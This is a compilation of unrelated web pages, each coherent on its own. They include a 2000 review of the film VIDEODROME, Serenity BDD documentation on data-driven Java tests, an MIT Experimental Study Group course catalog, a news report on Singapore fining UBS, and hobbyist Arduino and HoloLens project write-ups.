VIDEODROME A Film Review Copyright Dragan Antulov 2000
Almost twenty years ago I read the review of David Cronenberg's SCANNERS and the author explicitly described that film as "the work of a sick man". Such harsh words shouldn't surprise anyone familiar with the films that Canadian director used to make in 1970s and early 1980s - science fiction films based on some disturbing ideas of dehumanisation in modern society. Even more disturbing thing for the contemporary audience was the graphic depiction of such dehumanisation in the form of explicit violence and realistic gore. One of such films is VIDEODROME, written and directed by Cronenberg in 1983, science fiction thriller which dealt with the effects of television on human perception of reality.
The protagonist of this film is Max Renn (played by James Woods), producer of the small TV station in Toronto. In order to fight more powerful competition, he based his program almost entirely on the broadcasts that feature realistic violence and soft-core pornography. Recently, a mysterious satellite program called "Videodrome", unscrambled by his trusted technowizzard Harlan (played by Peter Dvorsky) has caught his attention. It consists of nothing more than scenes of torture and Max, although warned that "Videodrome" might actually be snuff film, begins searching for their producers. This happens after his girlfriend Nicki Brand (played by Debbie Harry) got aroused by the programme and expressed desire to star in the program. After some time, Max is convinced that the author of "Videodrome" is Brian O'Blivion (played by Jack Greley), eccentric TV theorist who communicates with the rest of the world via recorded tapes. In the meantime, Max begins suffering from bizzare hallucinations involving his television set. Explanation for such phenomenon is given by O'Blivion's daughter Bianca (played by Sonja Smits) - "Videodrome" is actually a signal which is able to cause brain damage to the viewers and permanently alter their perception of reality.
VIDEODROME is often referenced as one of the Cronenberg's most ambitious works. Dehumanisation as the consequence of technological progress - Cronenberg's favourite subject - here takes shape in the form of media manipulation and technology able to totally blur lines between real world and artificial realities. Cronenberg, whose Max Renn might be seen as some sort of alter ego, however absolves technology from its share of responsibility for media-induced alienation. In the endless debate about the role of media in the rise of modern-day violence and other forms of human depravity, Cronenberg puts some of the blame on primordial instincts of human subconscius, with media being solely the catalysts for subsequent destructive behaviour. Because of that VIDEODROME is considered prophetic film by many.
However, those fine ideas have great difficulties in reaching audience. In the beginning plot and characters work quite nicely, but gradually film begins to deteriorate as quickly as the mental state of its protagonist, and practically nothing on screen makes sense, except Rick Baker's make-up talents, responsible for some effective but often revolting effects (like protagonist's stomach turning into vagina- like VCR) and numerous scenes of gratuitous violence. These scenes of carnage are here probably to compensate lack of Cronenberg's ideas, manifested in his ability to find adequate or comprehensible ending. To make things worse, some of the quasi- ideological technobabble and television idolatry now looks terribly outdated in the age of Internet and virtual reality. On the other hand, some of the images in the film are quite impressive - especially Jack Greley as television guru (probably inspired by real life Canadian TV theorist Marshall MacLuhan) and American rock-singer Debbie Harry playing some really sick puppy. However, those scenes can't save VIDEODROME from being seen as a movie that failed to fulfil its potentials.
RATING: 4/10 (+)
Review written on September 25th 2000
Dragan Antulov a.k.a. Drax Fido: 2:381/100 E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>Filmske recenzije na hrvatskom/Movie Reviews in Croatian http://film.purger.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Data-driven tests
Serenity provides some features to support simplified Data-Driven testing. In JUnit 4, you can use the Parameterized test runner to perform data-driven tests. In Serenity, you use the SerenityParameterizedRunner
. This runner is very similar to the JUnit Parameterized test runner, except that you use the @TestData
annotation to provide test data, and you can use all of the other Serenity annotations (@Managed
, @Steps
and so on). This test runner will also generate proper serenity reports for the executed tests.
An example of a data-driven Serenity test is shown below. In this test, we check the number of status points a Frequent Flyer member needs to obtain a new status. To test this, we use several combinations of points and status levels, specified by the testData() method. These values are represented as instance variables in the test class, and instantiated via the constructor.
@RunWith(SerenityParameterizedRunner.class)
public class WhenEarningFrequentFlyerStatusUpgrades {
@TestData (1)
public static Collection<Object[]> testData(){
return Arrays.asList(new Object[][]{
{0, Bronze},
{9999, Bronze},
{10000, Silver},
{49999, Silver},
{50000, Gold}
});
}
private final int kilometersTravelled; (2)
private final Status expectedStatus; (2)
public WhenEarningFrequentFlyerStatusUpgrades(int kilometersTravelled, (3)
Status expectedStatus) { (3)
this.kilometersTravelled = kilometersTravelled;
this.expectedStatus = expectedStatus;
}
@Steps
TravellerStatusSteps travellerSteps;
@Test
public void shouldEarnNextStatusWithEnoughPoints() { (4)
// GIVEN
travellerSteps.a_traveller_joins_the_frequent_flyer_program();
// WHEN
travellerSteps.the_traveller_flies(kilometersTravelled);
// THEN
travellerSteps.traveller_should_have_a_status_of(expectedStatus);
}
}
| 1 | Test data |
| 2 | The test data is injected into these member variables |
| 3 | You need a constructor with the parameters in the correct order for this to work. |
| 4 | Then use these member variables to perform your test |
For slow-running tests, you may be able to speed up your tests using the @Concurrent
annotation, as shown here:
@RunWith(SerenityParameterizedRunner.class)
@Concurrent (1)
public class WhenSearchingForDifferentTermsOnGoogle {
@Managed(driver = "chrome")
WebDriver driver;
GooglePage googlePage;
@TestData (2)
public static Collection<Object[]> testData(){
return Arrays.asList(new Object[][]{
{"cats"},
{"dogs"},
{"ferrets"},
{"rabbits"},
{"canaries"}
});
}
private final String searchTerm; (3)
public WhenSearchingForDifferentTermsOnGoogle(String searchTerm) {
this.searchTerm = searchTerm;
}
@Test
public void shouldInstantiatedPageObjectsForADataDrivenWebTest() {
googlePage.open();
googlePage.searchFor(searchTerm);
assertThat(googlePage.getTitle()).startsWith(searchTerm + " - Google");
}
}
| 1 | Run these tests in parallel |
| 2 | Use test data from this method |
| 3 | Inject test data into this field through the constructor |
By default, this will run your tests concurrently, by default using two threads per CPU core. If you want to fine-tune the number of threads to be used, you can specify the threads annotation property.
@RunWith(SerenityParameterizedRunner.class)
@Concurrent(threads="4")
You can also express this as a value relative to the number of available processors. For example, to run 4 threads per CPU, you could specify the following:
@RunWith(SerenityParameterizedRunner.class)
@Concurrent(threads="4x")
Using test data from CSV files
Serenity lets you perform data-driven testing using test data in a CSV file. You store your test data in a CSV file (by default with columns separated by commas), with the first column acting as a header:
KILOMETERS TRAVELLED, EXPECTED STATUS
0, Bronze
9999, Bronze
10000, Silver
49999, Silver
50000, Gold
Next, create a test class containing properties that match the columns in the test data, as you did for the data-driven test in the previous example. The test class will typically contain one or more tests that use these properties as parameters to the test step or Page Object methods.
The class will also contain the @UseTestDataFrom
annotation to indicate where to find the CSV file (this can either be a file on the classpath or a relative or absolute file path - putting the data set on the class path (e.g. in src/test/resources
) makes the tests more portable).
An example of a test running against the CSV data listed above is shown here:
@RunWith(SerenityParameterizedRunner.class)
@UseTestDataFrom(value="testdata/status-levels.csv") (1)
public class WhenEarningFrequentFlyerStatusUpgradesUsingCSV {
private int kilometersTravelled;
private Status expectedStatus;
public void setKilometersTravelled(int kilometersTravelled) {
this.kilometersTravelled = kilometersTravelled;
}
public void setExpectedStatus(String expectedStatus) {
this.expectedStatus = Status.valueOf(expectedStatus);
}
@Qualifier
public String qualifier() {
return kilometersTravelled + "=>" + expectedStatus;
}
@Steps
TravellerStatusSteps travellerSteps;
@Test
public void reallyhouldEarnNextStatusWithEnoughPoints() {
// GIVEN
travellerSteps.a_traveller_joins_the_frequent_flyer_program();
// WHEN
travellerSteps.the_traveller_flies(kilometersTravelled);
// THEN
travellerSteps.traveller_should_have_a_status_of(expectedStatus);
}
}
You can also specify multiple file paths separated by path separators – colon, semi-colon or comma. For example:
@UseTestDataFrom("test-data/simple-data.csv,test-data-subfolder/simple-data.csv")
You can also configure an arbitrary directory using system property serenity.data.dir
and then refer to it as $DATADIR
variable in the annotation.
@UseTestDataFrom("$DATADIR/simple-data.csv")
Each row of test data needs to be distinguished in the generated reports. By default, Serenity will call the toString() method. If you provide a public method returning a String that is annotated by the @Qualifier
annotation, then this method will be used to distinguish data sets. It should return a value that is unique to each data set.
The test runner will create a new instance of this class for each row of data in the CSV file, assigning the properties with corresponding values in the test data.
There are a few points to note. The columns in the CSV files are converted to camel-case property names (so for example KILOMETERS TRAVELLED
becomes kilometersTravelled
). All of the fields should be strings or primitive types.
If some of the field values contain commas, you will need to use a different separator. You can use the separator attribute of the @UseTestDataFrom
annotation to specify an alternative separator.
@UseTestDataFrom(value="test-data/simple-semicolon-data.csv", separator=';')


By @astronomyblog & @LoveGraphs. Stats last updated 14 February 2016.
It seems there may have been at least 6 shows and 30 listed appearances. With 5 people per show, Comedy.co.uk has all appearances listed. The host/captains/regulars have included Susan Calman (Host × 6).
Total appearances:
Guest appearances i.e. ignoring the host/captains/regulars:
All people:
Guests i.e. ignoring the host/captains/regulars:
Last updated: 2016/02/14


ESG Science Subjects
Biology
ES.7012 Introductory Biology
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 7.012, 7.013, 7.014, 7.015, 7.016, ES.7013
Equivalent to 7.012; see 7.012 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
P. Christie
ES.7013 Introductory Biology
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 7.012, 7.013, 7.014, 7.015, 7.016, ES.7012
Lecture: MTWRF9 (24-619) or MTWRF2 (24-619) +final
Equivalent to 7.013; see 7.013 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
P. Christie No textbook information available
Chemistry
ES.3091 Introduction to Solid-State Chemistry
() Not offered regularly; consult department
(Subject meets with 3.091)
Prereq: None
Units: 5-0-7
Credit cannot also be received for 5.111, 5.112, CC.5111, ES.5111, ES.5112
Equivalent to 3.091; see 3.091 for description. Students attend regular 3.091 lectures and are assigned to recitations taught by ESG staff. Limited to students in ESG.
Staff
ES.5111 Principles of Chemical Science
(, )
Prereq: None
Units: 5-0-7
Credit cannot also be received for 3.091, 5.111, 5.112, CC.5111, ES.3091, ES.5112
Lecture: MTWRF10 (24-619) +final
Equivalent to 5.111; see 5.111 for description. Instruction provided through small, interactive classes taught by ESG staff. Limited to students in ESG.
Fall: P. Christie Spring: N. Boekelheide No textbook information available
ES.5112 Principles of Chemical Science
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 3.091, 5.111, 5.112, CC.5111, ES.3091, ES.5111
Equivalent to 5.112; see 5.112 for description. Instruction provided through small, interactive classes taught by ESG staff. Limited to students in ESG.
N. Boekelheide
Mathematics
ES.1801 Calculus
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 18.01, 18.01A, CC.181A, ES.181A
Equivalent to 18.01; see 18.01 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
G. Stoy
ES.1802 Calculus
(, )
Prereq: Calculus I (GIR)
Units: 5-0-7
Credit cannot also be received for 18.02, 18.022, 18.02A, CC.1802, CC.182A, ES.182A
Lecture: MTWR1 (24-618) Recitation: TBA +final
Equivalent to 18.02; see 18.02 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
Fall: G. Stoy Spring: G. Stoy No textbook information available
ES.1803 Differential Equations
(, )
Prereq: None. Coreq: Calculus II (GIR)
Units: 5-0-7
Credit cannot also be received for 18.03, 18.032, CC.1803
Lecture: MTWR10 (24-618) or MTWR11 (24-618) or MTWR12 (24-611A) or MTWR1 (24-611A) Recitation: TBA +final
Equivalent to 18.03; see 18.03 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
Fall: J. Orloff Spring: J. Orloff No textbook information available
ES.181A Calculus
() ; first half of term
Prereq: Knowledge of differentiation and elementary integration
Units: 5-0-7
Credit cannot also be received for 18.01, 18.01A, CC.181A
Equivalent to 18.01A; see 18.01A for description. Instruction provided through small, interactive classes. Limited to students in ESG.
J. Orloff
ES.182A Calculus
(, )
Prereq: Calculus I (GIR)
Units: 5-0-7
Credit cannot also be received for 18.02, 18.02A, CC.182A
Equivalent to 18.02A; see 18.02A for description. Instruction provided through small, interactive classes. Limited to students in ESG.
Fall: J. Orloff IAP: J. Orloff No textbook information available
Physics
ES.801 Physics I
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 8.01, 8.011, 8.012, 8.01L, CC.801, CC.8012, ES.8012
Equivalent to 8.01; see 8.01 for description. Instruction provided through small, interactive classes. Limited to students in ESG.
A. Barrantes De Karma
ES.8012 Physics I
()
Prereq: None
Units: 5-0-7
Credit cannot also be received for 8.01, 8.011, 8.012, 8.01L, CC.801, CC.8012, ES.801
Equivalent to 8.012; see 8.012 for description. Also covers connections to astrophysics; students complete individual and group projects. Limited to students in ESG.
P. Rebusco
ES.802 Physics II
()
Prereq: Physics I (GIR), Calculus I (GIR)
Units: 5-0-7
Credit cannot also be received for 8.02, 8.021, 8.022, CC.802, CC.8022, ES.8022
Lecture: MTWRF9 (24-621) or MTWRF10 (24-621) +final
Equivalent to 8.02; see 8.02 for description. Instruction done through small, interactive classes. Limited to students in ESG.
A. Barrantes De Karma No textbook information available
ES.8022 Physics II
(, )
Prereq: Physics I (GIR); Coreq: Calculus II (GIR)
Units: 5-0-7
Credit cannot also be received for 8.02, 8.021, 8.022, CC.802, CC.8022, ES.802
Lecture: MTWRF11 (24-611A) +final
Equivalent to 8.022; see 8.022 for description. Students complete individual and group projects; content for the last week of the term is decided by students. Limited to students in ESG.
Fall: P. Rebusco Spring: P. Rebusco No textbook information available
ESG Writing Program
ES.333[J] Production of Educational Videos: Skills for Communicating Academic and Professional Content
()
(Same subject as CMS.333[J])
Prereq: None
Units: 3-1-8
Lecture: MW3-5 (24-618)
Develops communication and media skills through the production of educational videos. Students conceive, plan, script, shoot and edit video content to teach elements of MIT's curriculum. Each student creates a series of short videos that concisely explains and contextualizes specific problems of importance to disciplines at MIT, especially physics, math, chemistry, biology, or the humanities. The resulting videos present these problems through compelling use of illustrations, demonstrations, animations, and commentary, all from the student's perspective. Empowers students specifically to communicate their MIT expertise to communities of learners and generally to reach broad audiences with quality, accessible online content. Limited to 12; preference to students in ESG.
D. Custer No textbook information available
ES.729[J] Engineering Communication in Context
()
(Same subject as 21W.729[J])
Prereq: None
Units: 3-1-8
Introduces writing, graphics, meetings, reading, oral presentation, collaboration, and design as tools for product development. Students work in teams to conceive, design, prototype, and evaluate energy-related mechanical engineering products. Instruction focuses on communication tasks that are integral to the design process, including design notebooks, email, informal and formal presentations, meeting etiquette, literature searches, white papers, proposals, and reports. Other assignments address the cultural situation of engineers and engineering in the world at large. Limited to 18; preference to ESG students.
D. Custer
ESG HASS Subjects
ES.112 Philosophy of Love
()
Prereq: None
Units: 4-0-8
Lecture: MW1-3 (24-621)
Explores the nature of love through works of philosophy, literature, film, poetry, and individual experience. Investigates the distinction among eros, philia, and agape. Students discuss ideas of love as a feeling, an action, a species of 'knowing someone,' or a way to give or take. Authors include Plato, Kant, Buber, D. H. Lawrence, Rumi, and Aristotle. Preference to students in ESG and Concourse.
L. Perlman No textbook information available
ES.113 Ancient Greek Philosophy and Mathematics
() Not offered regularly; consult department
Prereq: None
Units: 3-0-9
Explores the relationship between ancient Greek philosophy and mathematics. Investigates how ideas of definition, reason, argument and proof, rationality/irrationality, number, quality and quantity, truth, and even the idea of an idea were shaped by the interplay of philosophic and mathematical inquiry. Examines how discovery of the incommensurability of magnitudes challenged the Greek presumption that the cosmos is fully understandable. Explores the influence of mathematics on ancient Greek ethical theories. Authors: Euclid, Plato, Aristotle, Nicomachus, Theon of Smyrna, Bacon, Descartes, Dedekind, and Newton. Preference to students in Concourse and ESG.
Staff
ESG Seminars
ES.010 Chemistry of Sports: Understanding How Exercise Affects Your Body
()
Prereq: None
Units: 2-1-3 [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Lecture: T3-5 (24-619)
Students apply chemistry knowledge to physical fitness through the study of three sports: swimming, cycling, and running. Classroom component focuses on nutrition, exercise, anatomy, physiology, and the chemistry of supplements and sports equipment. Laboratory component focuses on training for and completion of triathlon competition. Students may earn up to 2 PE points during the term by attending supervised triathlon training workouts. Preference to students in ESG.
P. Christie No textbook information available
ES.011 Kitchen Chemistry
() Not offered regularly; consult department
Prereq: None
Units: 2-1-3 [P/D/F]
An experimental and "hands-on" approach to applied chemistry in cooking. Students perform experiments to illustrate chemical principles, such as extraction, denaturation, and phase changes. Preference to students in ESG.
Staff
ESG Teaching and Research
ES.200 ESG Undergraduate Teaching
(, )
Prereq: Permission of instructor
Units: 2-0-4 [P/D/F]
Lecture: M2 (24-618)
An opportunity to assist in the teaching of subjects in ESG in biology, chemistry, humanities and social sciences, mathematics, and physics. Student instructors may be involved in grading, running problemsolving sessions, or teaching classes depending on experience and interest. Qualified students may also develop and teach undergraduate seminars under the supervision of an appropriate faculty or staff member. Student instructors meet weekly with staff to discuss their teaching and cover a variety of topics related to effective teaching techniques. Limited to students in ESG.
Fall: P. Christie Spring: G. Stoy No textbook information available
ES.210 ESG Independent Study
(, , , )
Prereq: Permission of instructor
Units arranged [P/D/F]
TBA.
Opportunity for independent study under regular supervision by a staff member. Projects require prior approval, as well as a written proposal and a final report. Limited to students in ESG.
Fall: P. Rebusco IAP: P. Rebusco Spring: P. Rebusco No textbook information available
ES.UR Undergraduate Research in ESG
(, , , )
Prereq: None
Units arranged [P/D/F]
TBA.
For students wishing to pursue undergraduate research opportunities in the Experimental Study Group. Limited to students in ESG.
Fall: P. Rebusco IAP: P. Rebusco Spring: P. Rebusco Textbooks arranged individually
ESG Special Subjects
ES.S10 Special Seminar in Science
()
Prereq: None
Units arranged [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Lecture: F3-5 (24-619)
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
P. Rebusco No textbook information available
ES.S11 Special Seminar in Science
() Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S20 Special Seminar in Mathematics
(, , ) Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
IAP URL: http://esg.mit.edu/learninginnovation/undergraduate-seminars/ Spring URL: http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S21 Special Seminar in Mathematics
(, , ) Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S30 Special Seminar in Engineering and Computer Science
(, , ) Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S31 Special Seminar in Engineering and Computer Science
(, , ) Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S40 Special Seminar in the Humanities
()
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
L. Perlman
ES.S41 Special Seminar in the Humanities
(, )
Prereq: None
Units arranged
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Lecture: W3-5 (24-619)
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Fall: L. Perlman Spring: D. Custer No textbook information available
ES.S42 Special Seminar in the Humanities
(, )
Prereq: None
Units arranged
Lecture: M9.30-12 (24-115)
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Fall: L. Perlman Spring: L. Perlman No textbook information available
ES.S50 Special Seminar in the Arts
()
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
L. Perlman
ES.S51 Special Seminar in the Arts
(, , ) Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S60 Special Seminar in Social Science
()
Prereq: None
Units arranged [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
TBA.
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
L. Perlman No textbook information available
ES.S61 Special Seminar in Social Science
() Not offered regularly; consult department
Prereq: None
Units arranged [P/D/F]
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
Staff
ES.S70 Special Seminar in Interdisciplinary Studies
()
Prereq: None
Units arranged [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Lecture: T3-5 (24-611A) Lab: R EVE (7-9 PM) (24-611A)
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
P. Rebusco No textbook information available
ES.S71 Special Seminar in Interdisciplinary Studies
()
Prereq: None
Units arranged [P/D/F]
http://esg.mit.edu/learninginnovation/undergraduate-seminars/
Lecture: T3-5 (24-618)
Covers topics not included in the permanent curriculum. May not be used for GIR credit, but may be repeated for credit with permission of instructor. Preference to students in ESG.
H. Lieberman No textbook information available
|


Singapore fines UBS US$8m for deceptive trades
SINGAPORE, Nov 15 — Singapore has fined Swiss banking giant UBS S$11.2 million (RM34.15 million) after investigations showed its advisors deceived clients about prices for bonds and other financial products.
The city-state’s central bank, the Monetary Authority of Singapore (MAS), said UBS had admitted liability for its advisors’ actions and paid a civil penalty.
“The conduct of UBS through its representatives is unacceptable and has no place in the financial services industry where trust and integrity are paramount,” said Ong Chong Tee, deputy managing director, financial supervision, at MAS.
Authorities took into account that UBS had agreed to compensate affected clients and cooperated fully during the investigation when they decided on the penalty, Ong said in a statement yesterday.
UBS had raised concerns about malpractice by client advisors in Hong Kong and Singapore in 2016, prompting the central bank to launch a probe.
Among problems discovered were that advisors failed to disclose — or made only partial disclosure — of price changes and overcharged clients, the bank said.
The penalty relates to transactions executed from 2014 onwards in Singapore-managed accounts, it said.
Earlier this week, Hong Kong authorities fined UBS HK$400 million (US$51 million) for overcharging global customers for almost a decade. — AFP


Home
Menu
Reservation
Rebels
Contact
Account
Food
{{x}}
#
Add
❮
❯
Select the food to see the ingredients :
You selected: {{selectedIngredients.denum}}
Ingredients:{{selectedIngredients.ing}}
*The text has been copied {{count}} times.*


--- layout: newsstory title: OFF AGAIN match: Yeltz P Weston P ---
Bad weather again, and our game was called off because of a waterlogged pitch. With Brendan away perhaps it's not too bad these games being cancelled, and he's back next Saturday but too late to get to Clevedon according to the Halesowen News (!). Seeing as we've played more than most, I don't think any potential backlog is going to hurt us.
Once again Chippenham could only draw 1-1 at home in their rearranged game at home to Sutton Coldfield, so they're still a point behind having played a game more. It's completely in our hands now.
Next week is an important game down at Clevedon. They've only got an outside chance of catching us, but a win for us would completely put them out of it. Come on!


Get physiotherapy in your area
Street Lane Practice, Leeds
You can book a physiotherapy appointment at one of the places below.
Your first appointment will be to assess the type of physiotherapy you need.
Learn more about physiotherapy treatment.
Leeds Community Healthcare NHS Trust
Appointments are usually available within 2 weeks
Muscoloskeletal and Rehabilitation Service
Ground Floor,
St Marys Hospital,
Greenhill Road,
Leeds
LS12 3QE
To book
Call
Email<EMAIL_ADDRESS>Chapel Allerton Hospital
Appointments are usually available within 2 weeks
Chapeltown Road,
Leeds,
LS7 4SA
Get physiotherapy privately
You can get physiotherapy privately but you have to pay for treatment. Prices depend on the kind of therapy you need.
You may not have to wait for treatment.


A social network app featuring authentication, authorization, posting, commenting, and photos. Notification emails sent with DelayedJobs and SendGrid. Friending and commenting through ActiveRecord associations.
An app to crowd source learning materials and curate curriculums built over 2 days with 4 teammates.
A location and user based event app with map integration and swipe to RSVP functionality. (In Progress)
Hardware and software implementation of the control system and location and radiation monitoring for the pneumatic transfer of nuclear materials.


View console to see output from examples.
Search
Activities example
Popular Search example
Assets
Asset Find By Id
Asset Find By Ids
Results
Search
Event


Paste image, data URI in clipboard. It's as simple as that.
Get the data URI of an image with a simple
ctrl
+
v
. Turns green when successful. Made by
Cyrus
.
Other Stuff:
Trianglify Generator
Is it Friday, May 29th?


{% extends "global/Base.html" %} {% load staticfiles otree_tags %} {% block title %} Your decision {% endblock %} {% block content %}
You have been randomly and anonymously paired with another player. Both of you see these same instructions. You must privately make a decision between A and B. The payoffs are as follows:
This is summarized in the table below.
| P1: A | P1: B | |
|---|---|---|
| P2: A | {{ Constants.self_A_other_A }}, {{ Constants.self_A_other_A }} | {{ Constants.self_A_other_B }}, {{ Constants.self_B_other_A }} |
| P2: B | {{ Constants.self_B_other_A }}, {{ Constants.self_A_other_B }} | {{ Constants.self_B_other_B }}, {{ Constants.self_B_other_B }} |


Leo Salemann
Agile Coach, Technical Leader, Lifelong Learner
Helping cat-herds become wolf-packs
Projects
-
Teaching an Arduino to Fly
An Arduino-Controlled Model Flight SimulatorIntro
There's lots of model airplanes, but what about a model flight simulator? This Project combines an Arduino, a joystick, a Flight Simulator running on an Android phone, and a plastic airplane model with a Lego pilot. The Arduino reads axis angle from the joystick to drive servos which change the orientation of a small motion platform. The platform has Android Phone running Infinite Flight, a flight simulator designed for mobile devices. As the platform pitches and rolls, the flight simulator responds as if the user were holding the phone. Components include Adafruit Metro (Arduino Uno clone) which drives drive 2 heavy-duty servos, capable of "lifting" the platform. The joystick is an old PC-game port type, providing analog pins that can be read like any potentiometer. .
Paper Prototype
Paper Prototype. Simple cardboard platform balanced on a pencil to assess the degree of platform motion required for a good flying experience. Also used to evaluate Flight Simulators and aircraft models. Infinite Flight’s A-10 proved to be fast and responsive enough for good flying, but not so skittish as to be difficult for beginners. Full video available on YouTube.
Joystick Breakout
A pair of female-to-male jumper wire ribbons directly connect PC game port joystick pins to the adafruit breadboard. No physical changes to joystick required.
Single-Axis Test
Joystick, Adafruit Metro, one servo, and balsawood platform to validate that servo is strong enough to move platform holding mobile phone and counterweight for balance. Full video available on YouTube.
Bluetooth Configuration
Bluetooth configuration. Infinite flight can be configured to read inputs from the phone accelerometer and external Bluetooth devices simultaneously. Each flight control axis (pitch, roll, …) can be configured separately, as can numerous other controls such as flaps and landing gear. Full configuration video available on YouTube.
Platform Construction
Final balsa wood platform with roll servo embedded in the back.
Added top deck, aircraft model, and initial phone mount (later replaced).
Gimbal Construction
Pitch servo embedded in right side support post (red circle). Horizontal box frame and platform pitch together; platform rolls within frame.
Inserting image...Test flight of Completed Product
White flight yoke sends pitch and roll commands to Adafruit Metro (Arduino Uno equivalent) mounted to right side of frame. Metro drives servos, moving platform. Black game controller controls throttle, flaps, landing gear through Bluetooth, direct to Android. Full video available on YouTube.
For even more fun, check out the demo flight with a Pink Floyd Soundtrack
-
Dead Switch Live
A HoloLens Mixed Reality Project
Bringing Dead Switches to LifeIntro
The Museum of Flight in Seattle has a few "sit in cockpit" exhibits. You can climb into an actual jet cockpit, settle into the seat, grab the stick, turn some knobs, and ... nothing happens. What if you wore a Mixed Reality headset that could "paint over" the gauges and make them come to life? What you could paint over the windshield to render the simulator world running past you, pitching and rolling as you yank and bank on the stick? What if it could be done without making any physical changes to the exhibit?
Physical Panel 1
The Conversation StarterI call this one "The conversation starter." Cobbled together from trips to electronics and craft stores, the green duct tape represents areas which would be "painted over" with scenery and guages. The toggle, "steering wheel", button, slider, and key are connected to absolutely nothing. The plan was to dectet hand motions and changes in switch position through HoloLens.
Physical Panel 2
The Reality CheckAfter a late-night HoloLens tutorial session, it became clear that my Conversation Starter would be the end of my project if I tried to implement it in a day in a half. Time to lean out the physical design until all that's left is two boxes: one for the base, one for the slider. Now I could produce a "Digital Twin" of the Simple Slider Protoype in less then an hour, spending the rest of my time in the HoloLens Emulator, getting the digital slider to move in synchrony with the physical one.
It Works(ish)!
Grasping for the HoloLens gestures that were fastest to learn, I latched onto Gaze for selection and Pinch for manipulation. The red slider on the Digital Twin would move if (and only if) you stared right at it, then grasped it with a distinct pinching motion to move it. It was important let go with a pronounced opening or "unpinching" of the fingers, or the Digital button would go flying off into space as if you'd ripped it off of the panel. The net effect was similar to operating machinery when very drunk (not that I have any expereince in the matter). Having to stare straight at switch while you painstakingly maniuplate it is a far cry from keeping your eyes on the horizon while your hands do the work.
So What Did I Learn?
There's nothing like a weekend Hackathon to get you to learn, design, and build fast. Whatever cool idea you start with, be ready to trim away ninety percent of it. You'll derive far more satisfaction from a low-feature prototype that actually does something versus a lofty slide deck and an empty code repo. The judges will appreciate it, too.


| | |
- data_collect(train_data, train_end_frame, test_end_frame)
- Collect, stack and divide data into train and test set
- infer_plot(predictions, device='cpu', n_max=4, contour=True, quiv=False, save=False)
- Visualization function for predictions
There are some extra functions could be choosn:
contour: whether to draw the contour line
quiv: whether to draw the quiver plot
save: whether to save the figures
- norm201(data)
- Normalization function, make the range of the data in the range 0-1
- set_seed(seed)
- Control the seed to help re-run experiments
- train(model, optimizer, criterion, data_loader, device='cpu')
- Train function, update every iteration, calculate training loss
- validate(model, criterion, data_loader, device='cpu')
- Validation function, calculate validation loss
|


Currently displaying panel M01
Customizing the avatar
User goal: Editing the avatar by putting a red shirt on it and saving the changes


Tags Archive DINO (1) DIY (1) Dematerialization (1) Emotion (1) HCI (1) Interaction Design (1) KartRider (1) Machine Learning (2) Prototyping (2) Sensing (1) Smartphone Sensor Data (1) SolidR4 (1) Speed Dating (1) Tangible Interaction (1) Teamwork (1) User Study (1) video (1)
Machine Learning Exploring Design Opportunities for Technology Supported Yoga Practices at Home (January 08, 2020) Detecting Negative Emotions During Social Media Use On Smartphones (January 07, 2020)
